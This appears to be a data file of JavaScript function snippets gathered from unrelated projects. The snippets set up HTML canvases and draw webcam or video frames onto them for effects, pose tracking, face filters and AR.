place\n\t\t\t\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n\t\t\t\t\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n\t\t\t\t\t\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Trigger photo take\n\t\t\t\tdocument.getElementById('snap').addEventListener('click', function() {\n\t\t\t\t\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\n\t\t\t\t\tlet heigth = 480;\n\n\t\t\t\t\tcontext.save();\n\t\t\t\t\tcontext.translate(480 * aspectRatio, 0);\n\t\t\t\t\tcontext.scale(-1, 1);\n\t\t\t\t\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\n\t\t\t\t\tcontext.restore();\n\t\t\t\t\tstate.photoSnapped = true; // photo has been taken\n\t\t\t\t});\n\n\t\t\t\t// Trigger when upload button is pressed\n\t\t\t\tif (document.getElementById('upload'))\n\t\t\t\t\tdocument.getElementById('upload').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// uploadImage();\n\t\t\t\t\t\tselectImage();\n\t\t\t\t\t});\n\n\t\t\t\tif (document.getElementById('upload_search'))\n\t\t\t\t\tdocument.getElementById('upload_search').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// searchImage();\n\t\t\t\t\t});\n\t\t\t},\n\t\t\tfalse\n\t\t);\n\t}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, 640, 480);\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function startVideo(){\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n canvas.getContext('2d').\n drawImage(video, 0, 0, canvas.width, canvas.height);\n $scope.sendPicture();\n}","function paintToCanvas() {\n // We need to make sure canvas and video are the same width/height\n const width = video.videoWidth;\n const height = video.videoHeight;\n canvas.width = width;\n canvas.height = height;\n\n // Every couple seconds, take image from webcam and put it onto canvas\n return setInterval(() => {\n // drawImage: pass it an image/video and it will place it on the canvas\n ctx.drawImage(video, 0, 0, width, height);\n\n // Take pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\n\n // Play around with pixels\n switch (this.className) {\n case 'red':\n pixels = redEffect(pixels);\n break;\n case 'split':\n ctx.globalAlpha = 0.1;\n pixels = rgbSplit(pixels);\n break;\n case 'green':\n pixels = greenScreen(pixels);\n }\n\n // Put pixels back into canvas\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n drawKeypoints();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function currentFrameCanvas(){\n let video = document.getElementById(\"video_id\");\n canvas = document.getElementById('screenShot');\n canvas.width = width;\n canvas.height = height;\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\n}","function drawCameraIntoCanvas() {\n\n // draw the video element into the canvas\n ctx.drawImage(video, 0, 0, video.width, video.height);\n \n if (body) {\n // draw circle for left and right Eye\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\n\n\n\n // draw left Eye\n ctx.beginPath();\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n // draw right Eye\n ctx.beginPath();\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n\n ctx.beginPath();\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\n ctx.lineWidth = 10;\n ctx.strokeStyle = 'white';\n ctx.stroke();\n }\n requestAnimationFrame(drawCameraIntoCanvas);\n}","function createCanvas() {\n // console.log(parseInt(pixelByPixel.value));\n selectedFrameData = null;\n selectedFrameData = {};\n layerCount = 0;\n framesArray = [],\n currentFrame = 0,\n playbackRunning = false,\n playbackInterval = null,\n unsavedFrame = false;\n removeListeners();\n resetFrames();\n resetLayers();\n resetSelectionState();\n addDisplayFrame(0);\n setCurrentFrame(0);\n initCanvas(\"2d\", parseInt(pixelByPixel.value));\n}","function paintToCanvas() {\n // get the width and height of the actual live feed video\n const width = video.videoWidth;\n const height = video.videoHeight;\n\n // set canvas width and height to be the same as the live feed video\n canvas.width = width;\n canvas.height = height;\n\n // every 16ms, take the image from the webcam and put it into the canvas\n return setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height);\n\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // mess with them\n // pixels = redEffect(pixels);\n\n // pixels = redSplit(pixels);\n // ctx.globalAlpha = 0.8;\n\n pixels = greenScreen(pixels);\n\n // put them back\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function initPreview() {\n\t\n\t//clear the canvas first\n\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\n\t\n\t//what file type are we dealing with\n\tif (fileType == \"VIDEO\") {\n\t\t\n\t\tsampleWidth = 50;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\tvideoArea.width = sampleWidth;\n\t\tvideoArea.height = sampleHeight;\n\t\t\n\t\t//reset size of the canvas\n\t\tcanvasPreview.width = sampleWidth;\n\t\tcanvasPreview.height = sampleHeight;\n\t\tpreviewArea.style.width = sampleWidth + \"px\";\n\t\tpreviewArea.style.height = sampleHeight + \"px\";\n\t\t\n\t\t//set the video in the videoArea so it starts playing\n\t\tvideoArea.type = file.type;\n\t\tvideoArea.src = fileURL;\n\t\t\n\t\t//set fileWidth\n\t\tfileWidth = sampleWidth;\n\t\tfileHeight = sampleHeight;\n\t\t\n\t\t//make a sample first\n\t\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\n\t\t\n\t\t//initBuffers();\n\t\t\n\t\t\n\t\t/*document.onclick = function() {\n\t\t\tinitCubes();\n\t\t}*/\n\t\t\n\t\t//keep updating cubes based on the options\n\t\t//startUpdateCubesInterval();\n\t\tsetTimeout(initPlanes, 2000);\n\t\tstartUpdatePlanesInterval();\n\t\tstopUpdateCubesInterval();\n\t\t\n\t\t//keep rendering the screen based on mouse/camera position\n\t\tstartThreeInterval();\n\n\t\t\n\t} else if (fileType == \"IMAGE\") {\n\t\t\n\t\t\n\t\tsampleWidth = 30;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\t\n\t\t//load the image data and display in the preview\n\t\tvar img = new Image();\n\t\timg.onload = function() {\n\n\t\t\t//get the image dimensions so we can drawImage at the right aspect ratio\n\t\t\tsetNewFileDimensions(img);\n\t\t\t\n\t\t\t//draw the image onto the canvas\n\t\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\n\t\t\t\n\t\t\t//initBuffers();\n\t\t\tinitCubes();\n\t\t\t//initPlanes();\n\t\t\t\n\t\t\t//keep updating cubes based on the options\n\t\t\tstartUpdateCubesInterval();\n\t\t\tstopUpdatePlanesInterval();\n\t\t\t\n\t\t\t//keep rendering the screen based on mouse/camera position\n\t\t\tstartThreeInterval();\n\n\t\t}\n\t\t\n\t\t//set the src of our new file\n\t\timg.src = fileURL;\n\t\t\n\t\t//we should clear the video tag\n\t\tvideoArea.type = \"\";\n\t\tvideoArea.src = \"\";\n\t\tvideoArea.pause();\n\t\t\n\t\t//we should stop sampling the video if its there\n\t\tstopSamplingVideo();\n\t\t\n\t}\n\t\n}","function FrameInitalizer(canvas, form, video, options) {\n //Opt parse.\n options = options || {};\n this.drawFrame = options.override_frame_draw || this._drawFrame\n this.drawImage = options.override_image_draw || this._drawImage\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\n //I might add a string to the OnChange functions that says where they were called from.\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\n //A return a reference to the previous state?\n //You shouldn't need these unless you do web worker stuff anyways.\n this.onImageChange = options.on_image_change_functor || (function(self) {\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\n });\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\n });\n this.source = options.source || null;\n this.number_of_frames = options.number_of_frames || 1;\n //Mandatory positional args.\n this.canvas = canvas;\n this.form = form;\n this.video = video; //video element;\n this.frames = [new _FrameTracker(0)];\n this.frame_index = 0;\n this.updateFrameList(1);\n }","function initialize() {\n // Create a canvas element to which we will copy video.\n canvas = document.createElement('canvas');\n var webcamDimensions = webcam.getDimensions();\n canvas.width = webcamDimensions.width;\n canvas.height = webcamDimensions.height;\n\n // We need a context for the canvas in order to copy to it.\n context = canvas.getContext('2d');\n\n // create an AR Marker detector using the canvas as the data source\n detector = ardetector.create( canvas );\n\n // Create an AR View for displaying the augmented reality scene\n view = arview.create( webcam.getDimensions(), canvas );\n\n // Set the ARView camera projection matrix according to the detector\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\n\n // Place the arview's GL canvas into the DOM.\n document.getElementById(\"application\").appendChild( view.glCanvas );\n }","function setup() {\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\n background(0);\n stroke(0, 255, 0);\n noFill();\n\n // make sure the framerate is the same between sending and receiving\n frameRate(30);\n\n // Set to true to turn on logging for the webrtc client\n WebRTCPeerClient.setDebug(true);\n\n // To connect to server over public internet pass the ngrok address\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\n\n // Start the peer client\n WebRTCPeerClient.initPeerClient();\n\n // start your video\n // your webcam will always appear below the canvas\n myVideo = createCapture(VIDEO);\n myVideo.size(width, height);\n myVideo.hide();\n\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\n // otherVideo = createCapture(VIDEO);\n // otherVideo.size(width, height);\n\n}","function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\n\n const width = video.videoWidth; //getting actual height and width of video\n const height = video.videoHeight;\n canvas.width = width; //setting the canvas width and height accordingly \n canvas.height = height;\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\n // console.log(pixels)\n // debugger;\n // pixels = redeffect(pixels) //here redeffect is called\n // console.log(hola);\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\n ctx.globalAlpha=0.8; \n // pixels = greenscreen(pixels)\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\n }, 16);\n}","function setup() {\n createCanvas(640, 480);\n video = select(\"video\") || createCapture(VIDEO);\n video.size(width, height);\n\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\n select(\"#status\").hide();\n });\n\n poseNet.on(\"pose\", (newPoses) => {\n poses = newPoses;\n });\n\n // Hide the video element, and just show the canvas\n video.hide();\n}","function ytInject() {\n injectStyle();\n injectCanvas();\n injectButton();\n\n $(window).resize(function() {\n var main = $('#vt-main-div').get(0);\n var canvas = $('#vt-canvas').get(0);\n\n main.style.height = $('.video-stream').height();\n main.style.width = $('.video-stream').width();\n $('#vt-canvas').height($('vt-main-div').height());\n $('#vt-canvas').width($('vt-main-div').width());\n\n //Scale the canvas to achieve proper resolution\n canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\n canvas.style.width=$('#vt-main-div').width() + \"px\";\n canvas.style.height=$('#vt-main-div').height() + \"px\";\n });\n}","setup(canvas) {\n this.engine.renderer.setup(canvas);\n this.start();\n }","function start() {\n if (initialized)\n return;\n\n let myCanvas = document.getElementById(\"canvas\");\n myCanvas.classList.toggle(\"hide\");\n\n let button = document.getElementById(\"webcamButton\");\n button.classList.add(\"hide\");\n\n window.ctx = myCanvas.getContext('2d', {alpha: false});\n\n var mycamvas = new camvas(window.ctx, processFrame);\n initialized = true;\n}","function drawVedio() {\n setTimeout(() => {\n canvas.getContext(\"2d\").drawImage(video, 0, 0, 100, 100);\n drawVedio();\n }, 0);\n }","function setupMotionDetection() {\n md_canvas = document.getElementById('mdCanvas');\n test_canvas = document.getElementById('testCanvas');\n md_canvas.width = vid_width;\n md_canvas.height = vid_height;\n}","function prepareCanvas() {\n canvas = window._canvas = new fabric.Canvas('canvas');\n canvas.backgroundColor = '#ffffff';\n canvas.isDrawingMode = 1;\n canvas.freeDrawingBrush.color = \"black\";\n canvas.freeDrawingBrush.width = 1;\n canvas.renderAll();\n //setup listeners \n canvas.on('mouse:up', function(e) {\n getFrame();\n mousePressed = false\n });\n canvas.on('mouse:down', function(e) {\n mousePressed = true\n });\n canvas.on('mouse:move', function(e) {\n recordCoor(e)\n });\n}","function setupCanvas() {\n// setup everything else\n\tconsole.log(\"Setting up canvas...\")\n\tcanvas = document.getElementById(\"drone-sim-canvas\");\n\twindow.addEventListener(\"keyup\", keyFunctionUp, false);\n\twindow.addEventListener(\"keydown\", keyFunctionDown, false);\n\twindow.onresize = doResize;\n\tcanvas.width = window.innerWidth-16;\n\tcanvas.height = window.innerHeight-200;\n\tconsole.log(\"Done.\")\n}","function setup() {\n createCanvas(windowWidth, windowHeight);\n capture = createCapture(VIDEO);\n capture.size(windowWidth, windowHeight);\n capture.hide();\n background(255, 0, 200);\n}","function setup() {\n // setup canvas: target\n canvas = createCanvas(640, 480, WEBGL);\n canvas.id('p5canvas');\n background(51);\n\n // setup webcam: source\n video = createCapture(VIDEO);\n video.size(width, height);\n video.id('p5video'); // giving an ID to the video to link to seriously\n video.hide();\n\n // switch between modes\n createP(\"To start, press 'a' for blur or 's' for vignette.\");\n\n // adjust blur\n createP('Adjust Blur');\n blurSlider = createSlider(0, 1, 0.5, 0.01);\n blurSlider.id('blur-slider');\n\n // adjust vignette strength\n createP('Adjust Vignette');\n vignetteSlider = createSlider(0, 100, 50);\n vignetteSlider.id('vignette-slider');\n\n\n // Call Seriously function inside the variable: seriously\n seriously = new Seriously(); // create an object called seriously\n\n // Source: webcam, target: canvas\n src = seriously.source('#p5video');\n target = seriously.target('#p5canvas');\n\n keyReleased();\n\n seriously.go();\n\n\n}","_setupCanvas () {\r\n\t\tthis.canvas = document.createElement('canvas');\r\n\t\tthis.context = this.canvas.getContext('2d');\r\n\r\n\t\tthis.canvas.width = 500;\r\n\t\tthis.canvas.height = 500;\r\n\r\n\t\tlet body = document.getElementById('body');\r\n\t\tbody.appendChild(this.canvas);\r\n\t}","function render(){\n var canvas = $('#canvas')[0];\n var context = canvas.getContext('2d');\n var video = $('#camera')[0];\n\n // copy camera frame from video to canvas so lines can be drawn on\n try{\n context.drawImage(video, 0, 0, video.width, video.height);\n }\n catch(error){\n if(error.name != \"NS_ERROR_NOT_AVAILABLE\"){\n throw error;\n }\n }\n\n // save original canvas\n var subcanvas = $('#binary')[0];\n var subcontext = subcanvas.getContext('2d');\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\n\n // remaining detection\n process(subcanvas);\n\n // flip horizontally\n context.setTransform(1, 0, 0, 1, 0, 0);\n context.translate(canvas.width, 0);\n context.scale(-1, 1);\n\n // draw line\n context.lineWidth = 1;\n context.strokeStyle = 'green';\n context.beginPath();\n context.moveTo(canvas.width/4, canvas.height/2);\n context.lineTo(canvas.width*3/4, canvas.height/2);\n context.moveTo(canvas.width/2, canvas.height*3/8);\n context.lineTo(canvas.width/2, canvas.height*5/8);\n context.stroke();\n\n context.strokeStyle = 'blue';\n context.beginPath();\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\n context.closePath();\n context.stroke();\n\n requestAnimationFrame(render);\n }","initialiseCanvas(){\n let canvas = document.querySelector(\".genetic-art .canvas_container .result\");\n canvas.width = this.modelData.width;\n canvas.height = this.modelData.height;\n }","function setCanvas(){\n _canvas = document.getElementById('canvas');\n _stage = _canvas.getContext('2d');\n _canvas.width = _puzzleWidth;\n _canvas.height = _puzzleHeight;\n}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","function setup() {\n createCanvas(1280, 480); // Create a display window\n img = loadImage('lk.jpg'); // Load the image\n capture = createCapture(VIDEO); // Get the capture video\n capture.id(\"video_elemyent\"); // Set the video Id\n capture.size(640, 480); // Define video size to 640x480\n capture.hide() // Hide the streaning video\n faceapi = ml5.faceApi(capture, faceReady);\n}","function setup() {\n let canvasDiv = document.getElementById('animation');\n canvasWidth = canvasDiv.offsetWidth;\n canvasHeight = canvasDiv.offsetHeight;\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\n pipesWidth = canvasWidth / (pipesAmount + 1);\n // Creates canvas\n let canvas = createCanvas(canvasWidth, canvasHeight);\n // Declares the parent div of the canvas\n canvas.parent('animation');\n}","function setCanvas(){\r\n _canvas = document.getElementById('canvas');\r\n _stage = _canvas.getContext('2d');\r\n _canvas.width = _puzzleWidth;\r\n _canvas.height = _puzzleHeight;\r\n _canvas.style.border = \"1px solid black\";\r\n}","init() {\n const wrapper = document.getElementById('canvasWrapper');\n let newCanvas;\n if (!document.querySelector('canvas')) {\n newCanvas = document.createElement('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n newCanvas.setAttribute('id', 'canvas');\n this.context = newCanvas.getContext('2d');\n wrapper.appendChild(newCanvas);\n } else {\n newCanvas = document.getElementById('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n this.context = newCanvas.getContext('2d');\n }\n this.style(wrapper);\n }","drawScreen () {\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.drawImage(this.video2.canvas, 0, 0);\n this.context.drawImage(this.video1.canvas, 0, 0);\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\n // this.context.putImageData(frame1, 0, 0);\n }\n }","createCanvas() {\n this.canvas = document.createElement('canvas');\n this.canvas.width = this.width * this.resolution;\n this.canvas.height = this.height * this.resolution;\n this.context = this.canvas.getContext('2d');\n }","_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\n this.canvasContainer = document.getElementById('canvasContainer1');\n this.canvas = document.getElementById('canvas1');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 2) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer2');\n this.canvas = document.getElementById('canvas2');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 3) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer3');\n this.canvas = document.getElementById('canvas3');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 4) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer4');\n this.canvas = document.getElementById('canvas4');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n }\n }","initializeCanvas(){\n\t\tconsole.log(`======] Init Canvas [======`, this.state);\n\n\t\tif(this.state.device.width && this.state.device.height){\n\t\t\tthis.canvas = document.createElement('canvas');\n\t\t\tthis.canvas.id = 'screen-canvas';\n\t\t\tthis.canvas.width = this.state.device.width/2;\n\t\t\tthis.canvas.height = this.state.device.height/2;\n\t\t\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\n\t\t\tthis.canvas.onmouseover = this.cursorOver.bind(this);\n\t\t\tthis.canvas.onmouseout = this.cursorOut.bind(this);\n\t\t\tthis.canvas.onmousedown = this.interactStart.bind(this);\n\t\t\tthis.canvas.onmousemove = this.interactMove.bind(this);\n\t\t\tthis.canvas.onmouseup = this.interactEnd.bind(this);\n\t\t\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\n\t\t\tdocument.body.onkeydown = this.keyDown.bind(this);\n\t\t\tdocument.body.onkeyup = this.keyUp.bind(this);\n\n\t\t\tdocument.getElementById('screen-container').appendChild(this.canvas)\n\t\t\tthis.ctx = this.canvas.getContext('2d');\n\t\t}else{\n\t\t\talert(`Device resolution failed to be detected`);\n\t\t}\n\t}","function setup() {\n createCanvas(800, 600);\n pixelDensity(1); //for retina displays\n capture = createCapture(VIDEO);\n capture.size(width / vScale, height / vScale);\n capture.hide();\n\n\n}","function createCanvasZone(canvas,ctx,video){\r\n \r\n var BtnZone = document.createElement('div');\r\n BtnZone.id=\"canvasBtnZone\";\r\n \r\n var clear_btn = document.createElement('input');\r\n clear_btn.type = \"button\";\r\n clear_btn.id = 'clearCanvas';\r\n clear_btn.className = \"canvas_btn\";\r\n clear_btn.value='Clear';\r\n clear_btn.onclick=function(){clearArea(ctx)};\r\n \r\n var close_btn = document.createElement('input');\r\n close_btn.type = \"button\";\r\n close_btn.className = \"canvas_btn\";\r\n close_btn.id = 'closeCanvas';\r\n close_btn.value='Close';\r\n close_btn.onclick=function(){BtnZone.remove();};\r\n \r\n\r\n \r\n var send_btn = document.createElement('input');\r\n send_btn.type = \"button\";\r\n send_btn.id = 'sendscreenShot';\r\n send_btn.className = \"canvas_btn\";\r\n send_btn.value='Send screenshot';\r\n send_btn.onclick=function(){sendScreenshot()};\r\n \r\n \r\n $('#CanvasZone').append(BtnZone);\r\n $('#canvasBtnZone').append(clear_btn);\r\n $('#canvasBtnZone').append(close_btn);\r\n $('#canvasBtnZone').append(send_btn); \r\n $('#canvasBtnZone').append(canvas); \r\n \r\n InitThis(ratio,canvas,video);\r\n}","function takePhoto (e) {\nlet ctx = outputCanvas.getContext('2d')\nctx.drawImage(inputVideo,0,0)\n}","function initCanvas(width, height){}","function setup()\n{\n const maxWidth = Math.min(windowWidth, windowHeight);\n pixelDensity(1);\n outputWidth = maxWidth;\n outputHeight = maxWidth * 0.75; // 4:3\n\n createCanvas(outputWidth, outputHeight);\n\n // webcam capture\n videoInput = createCapture(VIDEO);\n videoInput.size(outputWidth, outputHeight);\n videoInput.hide();\n\n // select filter\n const sel = createSelect();\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\n sel.option('Select Filter', -1); // Default no filter\n for (let i = 0; i < selectList.length; i++)\n {\n sel.option(selectList[i], i);\n }\n sel.changed(applyFilter);\n\n // tracker\n faceTracker = new clm.tracker();\n faceTracker.init();\n faceTracker.start(videoInput.elt);\n}","function setUpCanvas() {\r\n canvas = document.createElement(\"CANVAS\");\r\n canvas.id = \"canvas\";\r\n canvas.style.width = \"100%\";\r\n canvas.style.height = \"100%\";\r\n canvas.style.background = 'black';\r\n canvas.style.marginLeft = 'auto';\r\n canvas.style.marginRight = 'auto';\r\n canvas.style.display = 'block';\r\n }","init() {\n if (this.canvas.getContext) {\n this.start();\n } else {\n canvas.textContent = 'Sorry canvas not suport';\n }\n }","function adaptElements() {\n const rect = document.body.getBoundingClientRect();\n const screenWidth = rect.width;\n const screenHeight = rect.height;\n const videoWidth = video.videoWidth;\n const videoHeight = video.videoHeight;\n const widthRatio = videoWidth / screenWidth;\n const heightRatio = videoHeight / screenHeight;\n const ratio = Math.min(widthRatio, heightRatio);\n // set image size and offset\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\n // adapt canvas size to input video size\n canvas.width = imageWidth;\n canvas.height = imageHeight;\n // adapt canvas size to screen\n image.width = screenWidth;\n image.height = screenHeight;\n // calculate video screen size and offset\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\n // resize and position video an screen\n video.width = videoScreenWidth;\n video.height = videoScreenHeight;\n video.style.left = `${-videoScreenX}px`;\n video.style.top = `${-videoScreenY}px`;\n // show live video\n resetVideo();\n }","static init(canvas){\r\n\r\n\r\n\t}","function playVideo(videoTimeline) {\n\n const timelineNode = videoTimeline.next\n const video = videoTimeline.data.videoCore\n const videoEndTime = videoTimeline.data.metadata.endTime\n \n loop = () => {\n if (!window.currentlyPlaying) {\n return\n }\n\n if (videoEndTime < video.currentTime + 0.01) {\n /* Pausing the current video if necessary */\n video.pause()\n\n if (timelineNode) {\n\n /* Setting the current switch value */\n if (timelineNode.data.metadata.ratio == 'fit') {\n window.currentRatio = 'fit'\n document.querySelector('.toogle-fit').click()\n } else if (timelineNode.data.metadata.ratio == 'strech') {\n window.currentRatio = 'strech'\n document.querySelector('.toogle-strech').click()\n }\n\n /* Starting next video from the beginning */\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\n\n /* Updating the window.currentVideoSelectedForPlayback variable */\n window.currentVideoSelectedForPlayback = timelineNode\n\n /* Playing the next frame */\n playVideo(timelineNode)\n }\n } else {\n /* Updating the UI */\n renderUIAfterFrameChange(videoTimeline)\n\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\n setTimeout(loop, 33.3333333) \n }\n }\n\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n \n loop()\n video.play()\n}","function gStart() {\n\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\n\n var noSelectHTML = \"\"\n + \" \"\n ;\n var headElement = document.getElementsByTagName('head')[0];\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\n\n // ADD VIEWER ELEMENTS TO DOCUMENT\n\n var viewerHTML = \"\"\n\n + \" \"\n\n + \" \"\n +\n (isShowingRenderer\n ?\n \" \"\n + \" \"\n :\n \" \"\n + \" \"\n )\n\n + \" \"\n\n + \" \"\n\n + \" \"\n\n + \" \"\n\n + \" \"\n + \" \"\n + \" \"\n\n// + \" \"\n ;\n 